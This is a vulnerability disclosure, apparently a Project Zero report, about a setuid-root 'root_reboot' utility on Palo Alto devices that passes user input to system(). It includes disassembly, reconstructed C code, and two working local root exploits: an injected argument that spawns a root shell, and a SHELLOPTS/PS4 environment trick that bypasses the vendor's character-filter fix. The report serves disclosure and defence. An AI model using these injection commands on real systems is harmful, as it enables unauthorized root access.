Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=913
This was fixed by PAN: http://securityadvisories.paloaltonetworks.com/Home/Detail/67

The root_reboot utility is setuid root, but performs multiple calls to system() with attacker controlled data, such as this one:

.text:0804870F C7 44 24 04 78+                mov     dword ptr [esp+4], offset aUsrLocalBinPan ; "/usr/local/bin/pan_elog -i 1 -e 3 -s 4 "...
.text:08048717 89 04 24                       mov     [esp], eax      ; char **
.text:0804871A E8 0D FE FF FF                 call    _asprintf
.text:0804871F 8B 45 E8                       mov     eax, [ebp+new]
.text:08048722 85 C0                          test    eax, eax
.text:08048724 0F 84 B9 01 00+                jz      loc_80488E3
.text:0804872A 89 04 24                       mov     [esp], eax      ; command
.text:0804872D E8 9A FD FF FF                 call    _system

Which is trying to do this:

  if (setuid(0) < 0)
  {
    fprintf(stderr, "%s: Can't setuid to reboot system\n");
  }
  if (reason) {
   asprintf(&new, "/usr/local/bin/pan_elog -i 1 -e 3 -s 4 -m \"The system is shutting down due to %s.\"", reason);
   system(new);
   free(new);
  }

This is trivially exploitable, for example:


$ ls -l /usr/local/bin/root_reboot 
-rwsr-xr-x 1 root root 16275 Oct 17  2014 /usr/local/bin/root_reboot
$ root_reboot --restart '"; bash -i; echo "'
# id
uid=0(root) gid=502(admin) groups=501(noradgrp),502(admin)

Palo Alto pointed out that they had already fixed this bug in an update that I needed to apply:

https://securityadvisories.paloaltonetworks.com/Home/Detail/45

However, looking at the fix they had essentially just checked that each character in the "reason" parameter was alphanumeric or white space. This does not prevent exploitation, you can just do this:

$ env SHELLOPTS=xtrace PS4='$(id)' root_reboot --restart whatever
uid=0(root) gid=502(admin) groups=501(noradgrp),502(admin)